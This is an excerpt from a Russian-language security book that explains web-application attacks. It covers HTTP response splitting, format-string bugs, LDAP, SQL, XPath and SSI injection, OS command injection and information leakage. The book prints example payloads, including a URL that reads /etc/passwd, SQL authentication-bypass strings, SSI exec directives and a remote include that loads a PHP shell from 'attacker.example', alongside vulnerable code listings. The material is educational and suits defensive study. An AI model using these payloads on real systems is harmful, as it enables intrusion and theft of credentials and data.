Текст книги "Защити свой компьютер на 100% от вирусов и хакеров"
Автор книги: Олег Бойцев
Жанр: Компьютеры: прочее, Компьютеры
сообщить о неприемлемом содержимом
Текущая страница: 4 (всего у книги 20 страниц) [доступный отрывок для чтения: 5 страниц]
Листинг 1.9. Ответ сервера на запрос пользователя
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 12:53:28 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=English
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj
ApqwBE! – 1251019693; path=/
Connection: Close
<html><head><title>302 Moved Temporarily</title></head>
<body bgcolor="#FFFFFF">
<p>This document you requested has moved temporarily.</p>
<p>It's now at <a
href="httр://10.1.1.1/by_lang.jsp?lang=English">httр://10.1.1.1/by_lang.jsp?lan
g=English</a>.</p>
</body></html>
При анализе ответа видно, что значение параметра lang передается в значении заголовка Location. При реализации атаки злоумышленник посылает в качестве значения lang символы перевода строки, чтобы закрыть ответ сервера и сформировать еще один:
/redir_lang.jsp?lang=foobar%0d%0aContent-
Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-
Type:%20text/html%0d%0aContent-
Length:%2019%0d%0a%0d%0a<html>Shazam</html>
При обработке этого запроса сервер передаст следующие данные (листинг 1.10).
Листинг 1.10. Ответ сервера на измененный злоумышленником запрос пользователя
HTTP/1.1 302 Moved Temporarily
Date: Wed, 24 Dec 2003 15:26:41 GMT
Location: http://10.1.1.1/by_lang.jsp?lang=foobar
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 19
Shazam</html>
Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003
271009 with
Content-Type: text/html
Set-Cookie:
JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST
9UsS! – 1251019693; path=/
Эти данные будут обработаны клиентом следующим образом:
♦ первый ответ с кодом 302 будет командой перенаправления;
♦ второй ответ (код 200) объемом в 19 байт будет считаться содержимым той страницы, на которую происходит перенаправление;
♦ остальные данные, согласно спецификации HTTP, игнорируются клиентом. Выполнение кода
Все серверы используют данные, переданные пользователем при обработке запросов. Часто эти данные используются при составлении команд, применяемых для генерации динамического содержимого. Если при разработке не учитываются требования безопасности, злоумышленник получает возможность модифицировать исполняемые команды. В настоящее время выделяют несколько типов атак, направленных на выполнение кода на веб-сервере.
Переполнение буфера (Buffer Overflow). Переполнение буфера на сегодняшний день является самой распространенной уязвимостью в области безопасности ПО. Первая атака с применением данной уязвимости использовалась в вирусе-черве Морриса в 1988 году. Червь, созданный студентом Корнельского университета, всего спустя пять часов после активации умудрился инфицировать около 6000 компьютеров – по сегодняшним меркам не очень много, но не будем забывать про год! Среди пострадавших – такие монстры, как Агентство Национальной безопасности и Стратегического авиационного командования США, лаборатории NASA (в частности, в вычислительном центре NASA в Хьюстоне червь попытался взять под контроль систему запуска кораблей многоразового использования Space Shuttle). Помимо прочего, червь успел насытить свои низменные гастрономические пристрастия исследовательским центром ВМС США, Калифорнийским НИИ, крупнейшими университетами страны, а также рядом военных баз, клиник и частных компаний. С тех пор количество способов реализации атак на переполнение буфера только увеличилось.
Эксплуатация переполнения буфера позволяет злоумышленнику изменить путь исполнения программы методом перезаписи данных в памяти системы. Переполнение возникает, когда объем данных превышает размер выделенного под них буфера. Когда буфер переполняется, данные переписывают другие области памяти, что приводит к возникновению ошибки. Если злоумышленник имеет возможность управлять процессом переполнения, это может вызвать ряд серьезных проблем.
Переполнение буфера может вызывать отказы в обслуживании, приводя к повреждению памяти и вызывая ошибки в программах. Более серьезные ситуации позволяют изменить путь исполнения программы и выполнить в ее контексте различные действия. Это может происходить в нескольких случаях.
Используя переполнение буфера, можно перезаписывать служебные области памяти, например адрес возврата из функций в стеке. Кроме того, при переполнении могут быть переписаны значения переменных в программе.
Переполнение буфера является наиболее распространенной проблемой в безопасности и нередко затрагивает веб-серверы. Однако атаки, эксплуатирующие эту уязвимость, используются против веб-приложений не очень часто. Причина этого кроется в том, что атакующему, как правило, необходимо проанализировать исходный код или образ программы. Поскольку атакующему приходится эксплуатировать нестандартную программу на удаленном сервере, он вынужден атаковать "вслепую", что снижает шансы на успех.
Переполнение буфера обычно возникает при создании программ на языках C и C++. Если часть сайта создана с использованием этих языков, сайт может быть уязвим для этой атаки.
Атака на функции форматирования строк (Format String Attack). При использовании этих атак путь исполнения программы модифицируется методом перезаписи областей памяти с помощью функций форматирования символьных переменных. Уязвимость возникает, когда пользовательские данные применяются в качестве аргументов функций форматирования строк, таких как fprintf, printf, sprintf, setproctitle, syslog и т. д. Если атакующий передает приложению строку, содержащую символы форматирования (%f, %p, %n и т. д.), то у него появляется возможность:
♦ выполнять произвольный код на сервере;
♦ считывать значения из стека;
♦ вызывать ошибки в программе/отказ в обслуживании.
Вот пример: предположим, веб-приложение хранит параметр emailAddress для каждого пользователя. Это значение используется в качестве аргумента функции printf: printf(emailAddress). Если значение переменной emailAddress содержит символы форматирования, то функция printf будет обрабатывать их согласно заложенной в нее логике. Поскольку дополнительных значений этой функции не передано, будут использованы значения стека, хранящие другие данные.
Возможны следующие методы эксплуатации атак на функции форматирования строк.
♦ Чтение данных из стека. Если вывод функции printf передается атакующему, он получает возможность чтения данных из стека, используя символ форматирования %x.
♦ Чтение строк из памяти процесса. Если вывод функции printf передается атакующему, он может получать строки из памяти процесса, передавая в параметрах символ %s.
♦ Запись целочисленных значений в память процесса. Используя символ форматирования %n, злоумышленник может сохранять целочисленные значения в памяти процесса. Таким образом можно перезаписать важные значения, например флаги управления доступом или адрес возврата.
Внедрение операторов LDAP (LDAP Injection). Атаки этого типа направлены на веб-серверы, создающие запросы к службе LDAP на основе данных, вводимых пользователем. Упрощенный протокол доступа к службе каталога (Lightweight Directory Access Protocol, LDAP) – открытый протокол для создания запросов и управления службами каталога, совместимыми со стандартом X.500. Протокол LDAP работает поверх транспортных протоколов Интернет (TCP/UDP). Веб-приложение может использовать данные, предоставленные пользователем для создания запросов по протоколу LDAP при генерации динамических веб-страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать LDAP-запрос. Причем запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб-сервер и т. д.). Если данный компонент имеет права на чтение или модификацию данных в структуре каталога, злоумышленник получает те же возможности. В листинге 1.11 представлен пример кода, который может быть подвержен атаке данного вида.
Листинг 1.11. Уязвимый код с комментариями
line 0: <html>
line 1: <body>
line 2: <%@ Language=VBScript %>
line 3: <%
line 4: Dim userName
line 5: Dim filter
line 6: Dim ldapObj
line 7:
line 8: Const LDAP_SERVER = "ldap.example"
line 9:
line 10: userName = Request.QueryString("user")
line 11:
line 12: if( userName = "" ) then
line 13: Response.Write("<b>Invalid request. Please specify a valid user name</b><br>")
line 14: Response.End()
line 15: end if
line 16:
line 17:
line 18: filter = "(uid=" + CStr(userName) + ")" " searching for the user entry
line 19:
line 20:
line 21: "Creating the LDAP object and setting the base dn
line 22: Set ldapObj = Server.CreateObject("IPWorksASP.LDAP")
line 23: ldapObj.ServerName = LDAP_SERVER
line 24: ldapObj.DN = "ou=people,dc=spilab,dc=com"
line 25:
line 26: 'Setting the search filter
line 27: ldapObj.SearchFilter = filter
line 28:
line 29: ldapObj.Search
line 30:
line 31: 'Showing the user information
line 32: While ldapObj.NextResult = 1
line 33: Response.Write("<p>")
line 34:
line 35: Response.Write("<b><u>User information for: " + ldapObj.AttrValue(0) + "</u></b><br>")
line 36: For i = 0 To ldapObj.AttrCount-1
line 37: Response.Write("<b>" + ldapObj.AttrType(i) +"</b>: " + ldapObj.AttrValue(i) + "<br>" )
line 38: Next
line 39: Response.Write("</p>")
line 40: Wend
line 41: %>
line 42: </body>
line 43: </html>
Обратите внимание, что имя пользователя, полученное от клиента, проверяется на наличие в этой строке пустого значения (строки 10-12). Если в переменной содержится какое-то значение, оно используется для инициализации переменной filter (строка 18). Полученное значение используется для построения запроса к службе LDAP (строка 27), который исполняется в строке 29. В приведенном примере атакующий имеет полный контроль над запросом и получает его результаты от сервера (строки 32-40).
Выполнение команд операционной системы (OS Commanding). Атаки этого класса направлены на выполнение команд операционной системы на веб-сервере путем манипуляции входными данными. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность выполнить команды операционной системы. Они будут выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб-сервер и т. д.). Пример: язык Perl позволяет перенаправлять вывод процесса оператору open, используя символ | в конце имени файла:
#Выполнить "/bin/ls" и передать
#результат оператору
open Open (FILE, "/bin/ls|")
Веб-приложения часто используют параметры, которые указывают на то, какой файл отображать или использовать в качестве шаблона. Если этот параметр не проверяется достаточно тщательно, атакующий может подставить команды операционной системы после символа | . Предположим, приложение оперирует URL следующего вида: http://example/cgi-bin/showInfo.pl?name=John&template=tmp1.txt.
Изменяя значение параметра template, злоумышленник дописывает необходимую команду (/bin/ls) к используемой приложением:
http://example/cgi-bin/showInfo.pl?name=John&template=/bin/ls|
Большинство языков сценариев позволяет запускать команды операционной системы во время выполнения, используя варианты функции exec. Если данные, полученные от пользователя, передаются этой функции без проверки, злоумышленник может выполнить команды операционной системы удаленно. Следующий пример иллюстрирует уязвимый PHP-сценарий:
exec("ls-la $dir",$lines,$rc);
Используя символ ; (UNIX) или & (Windows) в параметре dir, можно выполнить команду операционной системы:
http://example/directory.php?dir=%3Bcat%20/etc/passwd
В результате подобного запроса злоумышленник получает содержимое файла /etc/ passwd.
Внедрение операторов SQL (SQL Injection). Эти атаки направлены на веб-серверы, создающие SQL-запросы к серверам СУБД на основе данных, вводимых пользователем. Язык запросов Structured Query Language (SQL) представляет собой специализированный язык программирования, позволяющий создавать запросы к серверам СУБД. Большинство серверов поддерживают этот язык в вариантах, стандартизированных ISO и ANSI. В большинстве современных СУБД присутствуют расширения диалекта SQL, специфичные для данной реализации (например, T-SQL в Microsoft SQL Server и т. д.). Многие веб-приложения используют данные, переданные пользователем, для создания динамических веб-страниц. Если информация, полученная от клиента, должным образом не верифицируется, атакующий получает возможность модифицировать запрос к SQL-серверу, отправляемый приложением. Запрос будет выполняться с тем же уровнем привилегий, с каким работает компонент приложения, выполняющий запрос (сервер СУБД, веб-сервер и т. д.). В результате злоумышленник может получить полный контроль над сервером СУБД и даже его операционной системой. С точки зрения эксплуатации SQL Injection очень похож на LDAP Injection.
Предположим, что аутентификация в веб-приложении осуществляется с помощью веб-формы, обрабатываемой следующим кодом:
SQLQuery = "SELECT Username FROM Users WHERE
Username = '" & strUsername & "' AND Password = '"
& strPassword & strAuthCheck =
GetQueryResult(SQLQuery)
В этом случае разработчики непосредственно используют переданные пользователями значения strUsername и strPassword для создания SQL-запроса. Предположим, злоумышленник передаст следующие значения параметров:
Login:'OR''='
Password:'OR''='
В результате серверу будет передан следующий SQL-запрос:
SELECT Username FROM Users WHERE Username = '' OR ''='' AND Password = '' OR ''=''
Вместо сравнения имени пользователя и пароля с записями в таблице Users данный запрос сравнивает пустую строку с пустой строкой. Естественно, результат подобного запроса всегда будет равен True, и злоумышленник войдет в систему от имени первого пользователя в таблице. Обычно выделяют два метода эксплуатации внедрения операторов SQL: обычная атака и атака вслепую (Blind SQL Injection). В первом случае злоумышленник подбирает параметры запроса, используя информацию об ошибках, генерируемую веб-приложением.
К примеру, добавляя оператор union к запросу, злоумышленник может проверить доступность базы данных (листинг 1.12).
Листинг 1.12. Пример применения оператора union в запросе
http://example/article.asp?ID=2+union+all+select+name+from+sysobjects
Microsoft OLE DB Provider for ODBC Drivers error "80040e14"
[Microsoft][ODBC SQL Server Driver][SQL Server]All
queries in an SQL statement containing a UNION
operator must have an equal number of expressions
in their target lists.
Из этого примера следует, что оператор union был передан серверу, и теперь злоумышленнику необходимо подобрать используемое в исходном выражении select количество параметров. Возможен также вариант внедрения SQL-кода вслепую. В этом случае стандартные сообщения об ошибках модифицированы, и сервер возвращает понятную для пользователя информацию о неправильном вводе. Осуществление SQL Injection может быть реализовано и в этой ситуации, однако обнаружение уязвимости затруднено. Наиболее распространенный метод проверки наличия проблемы – добавление выражений, возвращающих истинное и ложное значения.
Выполнение запроса http://example/article.asp?ID=2+and+1=1 к серверу должно вернуть ту же страницу, что и запрос: http://example/article. asp?ID=2, поскольку выражение and 1=1 всегда истинно.
Если в запрос добавляется выражение, возвращающее значение False: example/article.asp?ID=2+and+1 = 0, то пользователю будет возвращено сообщение об ошибках или страница не будет сгенерирована.
Если факт наличия уязвимости подтвержден, эксплуатация ничем не отличается от обычного варианта.
Внедрение серверных расширений (SSI Injection). Атаки данного класса позволяют злоумышленнику передать исполняемый код, который в дальнейшем будет выполнен на веб-сервере. Уязвимости, приводящие к возможности осуществления данных атак, обычно заключаются в отсутствии проверки данных, предоставленных пользователем, перед сохранением их в интерпретируемом сервером файле.
Перед генерацией HTML-страницы сервер может выполнять сценарии, например Server-site Includes (SSI). В некоторых ситуациях исходный код страниц генерируется на основе данных, предоставленных пользователем.
Если атакующий передает серверу операторы SSI, он может получить возможность выполнения команд операционной системы или включить в нее запрещенное содержимое при следующем отображении. Вот и пример: выражение < !—#exec cmd="/ bin/ls /" – > будет интерпретировано в качестве команды, просматривающей содержимое каталога сервера в UNIX-системах. Следующее выражение позволяет получить строки соединения с базой данных и другую чувствительную информацию, расположенную в файле конфигурации приложения .NET: <! – #INCLUDE VIRTUAL="/web.config"->
Другие возможности для атаки возникают, когда веб-сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию. Предположим, веб-приложение работает со ссылками, подобными следующей: http://portal.example/index.php?template=news$body=$_GET['page'].".php".
В ходе обработки этого запроса сценарий index.php подключает сценарий news. php и выполняет указанный в нем код. Злоумышленник может указать в качестве URL http://portal.example/index.php?template=http://attacker. example/phpshell, и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами веб-сервера.
Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (http://portal.example/index.php? template=users/uploads/phpshell) или напрямую (http://portal. example/users/uploads/phpshell.php).
Внедрение операторов XPath (XPath Injection). Эти атаки направлены на вебсерверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.
Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов или выполнения запросов XQuery.
Синтаксис XPath близок к языку SQL-запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента – имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":
String(//user[name/text()='jsmith' and
password/text()='Demo1234']/account/text())
Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы. Для примера предположим, что веб-приложение использует XPath для запросов к документу XML для получения номеров счетов пользователей, чьи имена и пароли были переданы клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости (листинг 1.13).
Листинг 1.13. Код, реализующий уязвимость посредством оператора XPath
XmlDocument XmlDoc = new XmlDocument();
XmlDoc.Load("…");
XPathNavigator nav = XmlDoc.CreateNavigator();
XPathExpression expr =
nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'
and password/text()='"+TextBox2.Text+
"']/account/text())");
String account=Convert.ToString(nav.Evaluate(expr));
if (account=="") {
// name+password pair is not found in the XML document
// login failed.
} else {
// account found -> Login succeeded.
// Proceed into the application.
}
В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например ввести в качестве имени пользователя следующее выражение:
' or 1=1 or ''='
В этом случае запрос всегда будет возвращать счет первого пользователя в документе, поскольку будет выглядеть следующим образом:
string(//user[name/text()='' or 1=1 or ''='' and
password/text()='foobar']/account/text())
В результате злоумышленник получит доступ в систему от имени первого в XML-документе пользователя, не предоставляя имени пользователя и пароля.
Разглашение информации
Атаки данного класса направлены на получение дополнительной информации о веб-приложении. Используя эти уязвимости, злоумышленник может определить используемые дистрибутивы ПО, номера версий клиента и сервера и установленные обновления. В других случаях в утекающей информации может содержаться расположение временных файлов или резервных копий. Во многих ситуациях эти данные не требуются для работы пользователя. Большинство серверов предоставляют доступ к чрезмерному объему данных, однако необходимо минимизировать объем служебной информации. Чем большими знаниями о приложении будет располагать злоумышленник, тем легче ему будет скомпрометировать систему.
Индексирование директорий (Directory Indexing). Предоставление списка файлов в директории представляет собой нормальное поведение веб-сервера, если страница, отображаемая по умолчанию (index.html/home.html/default.htm), отсутствует.
Когда пользователь запрашивает основную страницу сайта, он обычно указывает доменное имя сервера без имени конкретного файла (http://www.example.com). Сервер просматривает основную папку, находит в ней файл, используемый по умолчанию, и на его основе генерирует ответ. Если такой файл отсутствует, в качестве ответа может вернуться список файлов в директории сервера. Этот случай аналогичен выполнению команды ls (UNIX) или dir (Windows) на сервере и форматированию результатов в виде HTML. В этой ситуации злоумышленник может получить доступ к данным, не предназначенным для свободного доступа. Довольно часто администраторы полагаются на «безопасность через сокрытие», предполагая, что раз гиперссылка на документ отсутствует, то он недоступен непосвященным. Современные сканеры уязвимостей, такие как Nikto, могут динамически добавлять файлы и папки к списку сканируемых в зависимости от результатов запросов. Используя содержимое /robots.txt или полученного списка директорий, сканер может найти спрятанное содержимое или другие файлы. Таким образом, внешне безопасное индексирование директорий может привести к утечке важной информации, которая в дальнейшем будет использована для проведения атак на систему.
Используя индексирование директорий, можно получить доступ к следующим данным.
♦ Резервные копии (BAK, OLD или ORIG-файлы).
♦ Временные файлы. Такие файлы должны удаляться сервером автоматически, но иногда остаются доступными.
♦ Спрятанные файлы, название которых начинается с символа ..
♦ Соглашение об именах. Эта информация может помочь предсказать имена файлов или директорий (admin или Admin, back-up или backup).
♦ Список пользователей сервера. Очень часто для каждого пользователя создается папка с именем, основанном на названии учетной записи.
♦ Имена файлов конфигурации (CONF, CFG или CONFIG).
♦ Содержимое серверных сценариев или исполняемых файлов в случае неверно указанных расширений или разрешений.
Могут использоваться три основных сценария получения списка файлов.
♦ Ошибки конфигурации. Подобные проблемы возникают, когда администратор ошибочно указывает в конфигурации сервера эту опцию. Такие ситуации могут возникать при настройке сложных конфигураций, где некоторые папки должны быть доступны для просмотра. С точки зрения злоумышленника, запрос не отличается от указанного раньше. Он просто обращается к директории и анализирует результат. Его не беспокоит, почему сервер ведет себя подобным образом.
♦ Некоторые компоненты веб-сервера позволяют получать список файлов, даже если это не разрешено в конфигурационных файлах. Обычно это возникает в результате ошибок реализации, когда сервер генерирует список файлов при получении определенного запроса.
♦ Базы данных поисковых машин (Google, Wayback machine) могут содержать кэш старых вариантов сервера, включая списки файлов.
Идентификация приложений (Web Server/Application Fingerprinting). Определение версий приложений используется злоумышленником для получения информации об используемых сервером и клиентом операционных системах, веб-северах и браузерах. Кроме того, эта атака может быть направлена на другие компоненты веб-приложения, например службу каталога, сервер баз данных или используемые технологии программирования. Обычно подобные атаки осуществляют, анализируя:
♦ особенности реализации протокола HTTP;
♦ заголовки HTTP-ответов;
♦ используемые сервером расширения файлов (ASP или JSP);
♦ значение cookie (ASPSESSION и т. д.);
♦ сообщения об ошибках;
♦ структуру каталогов и используемое соглашение об именах (Windows/UNIX);
♦ интерфейсы поддержки разработки веб-приложений (Frontpage/WebPublisher);
♦ интерфейсы администрирования сервера (iPlanet/Comanche);
♦ версию операционной системы.
Для определения версий клиентских приложений обычно используется анализ HTTP-запросов (порядок следования заголовков, значение User-agent и т. д.). Однако для этих целей могут применяться и другие техники. Так, например, анализ заголовков почтовых сообщений, созданных с помощью клиента Microsoft Outlook, позволяет определить версию установленного на компьютере браузера Internet Explorer.
Наличие детальной и точной информации об используемых приложениях очень важно для злоумышленника, поскольку реализация многих атак (например, переполнение буфера) специфично для каждого варианта операционной системы или приложения. Кроме того, детальная информация об инфраструктуре позволяет снизить количество ошибок и, как следствие, общий "шум", производимый атакующим. Данный факт отмечен в HTTP RFC 2068, рекомендующим, чтобы значение заголовка Server HTTP-ответа являлось настраиваемым параметром. Пример: сообщения об ошибках – ошибка 404 сервером Apache обозначается фразой Not Found, в то время как IIS 5.0 отвечает сообщением Object Not Found (листинг 1.14).
Листинг 1.14. Сообщение об ошибке, формируемое сервером Apache
# telnet target1.com 80
Trying target1.com…
Connected to target1.com.
Escape character is '^]'.
HEAD /non-existent-file.txt HTTP/1.0
HTTP/1.1 404 Not Found
Date: Mon, 07 Jun 2004 14:31:03 GMT
Server: Apache/1.3.29 (UNIX)
mod_perl/1.29
Connection: close
Content-Type: text/html; charset=iso-
8859-1
Синтаксис заголовков также может отличаться. Например, использование строчных или заглавных букв в названии параметров (Content-Length в IIS или Content-length в Netscape-Enterprise/6.0).
Несмотря на требования HTTP RFC, существуют семантические особенности при генерации заголовков различными серверами. Например, Apache передает параметр
Date перед значением заголовка Server, в то время как IIS использует обратный порядок. Порядок значений параметров также может отличаться. Например, при обработке запроса OPTIONS Apache возвращает только параметр Allow, в то время как IIS дополнительно включает параметр Public.
Аналогичным образом может анализироваться наличие опциональных заголовков (Vary, Expires и т. д.) и реакция сервера на неверные запросы (GET //, GET/%2f и т. д.).
Утечка информации (Information Leakage). Эти уязвимости возникают в ситуациях, когда сервер публикует важную информацию, например комментарии разработчиков или сообщения об ошибках, которая может быть использована для компрометации системы. Ценные, с точки зрения злоумышленника, данные могут содержаться в комментариях HTML, сообщениях об ошибках или просто присутствовать в открытом виде. Существует огромное количество ситуаций, в которых может произойти утечка информации. Необязательно она приводит к возникновению уязвимости, но часто дает атакующему прекрасное пособие для развития атаки. С утечкой важной информации могут возникать риски различной степени, поэтому необходимо минимизировать количество служебной информации, доступной на клиентской стороне. Анализ доступной информации позволяет злоумышленнику произвести разведку и получить представление о структуре директорий сервера, используемых SQL-запросах, названиях ключевых процессов и программ сервера. Часто разработчики оставляют комментарии в HTML-страницах и коде сценариев для облегчения поиска ошибок и поддержки приложения. Эта информация может варьироваться от простых описаний деталей функционирования программы до, в худших случаях, имен пользователей и паролей, используемых при отладке.
Утечка информации может относиться и к конфиденциальным данным, обрабатываемым сервером. Это могут быть идентификаторы пользователя (ИНН, номера водительских удостоверений, паспортов и т. д.), а также текущая информация (баланс лицевого счета или история платежей). Многие атаки этой категории выходят за рамки защиты веб-приложений и переходят в область физической безопасности. Утечка информации в этом случае часто возникает, когда в браузере отображается информация, которая не должна выводиться в открытом виде даже пользователю. В качестве примера можно привести пароли пользователя, номера кредитных карточек и т. д. Данный пример хорошо поясняют три основные категории утечки информации: комментарии разработчиков, сообщения об ошибках и отображение конфиденциальной информации. Ниже приведен комментарий разработчиков, который указывает на то, что в случае проблем с загрузкой изображений необходимо перезагрузить сервер VADER:
<TABLE border="0' cellPadding="0' cellSpacing="0'
height="59' width="591'>
<TBODY>
<TR>
<! – If the image files are missing,
restart VADER ->
<TD bgColor="#ffffff" colSpan="5'
height="17' width="587'> </TD>
</TR>
Подробные сообщения об ошибках могут возникать в результате специально сформированного запроса. Ниже приведен пример сообщения, типичного для ошибки, возникающей в результате SQL-запроса. Для реализации атаки с внедрением кода SQL обычно требуется знание структуры запросов, осуществляемых веб-сервером. Сведения, содержащиеся в передаваемой подробной информации об ошибке, могут быть использованы для построения атакующим корректных запросов к серверу баз данных.
Ниже приведено сообщение, выдаваемое сервером при вводе символа апострофа (") в качестве имени пользователя (листинг 1.15).
Листинг 1.15. Сообщение сервера об ошибке при вводе недопустимого символа
An Error Has Occurred.
Error Message:
System.Data.OleDb.OleDbException: Syntax error (missing
Правообладателям!
Данное произведение размещено по согласованию с ООО "ЛитРес" (20% исходного текста). Если размещение книги нарушает чьи-либо права, то сообщите об этом.Читателям!
Оплатили, но не знаете что делать дальше?
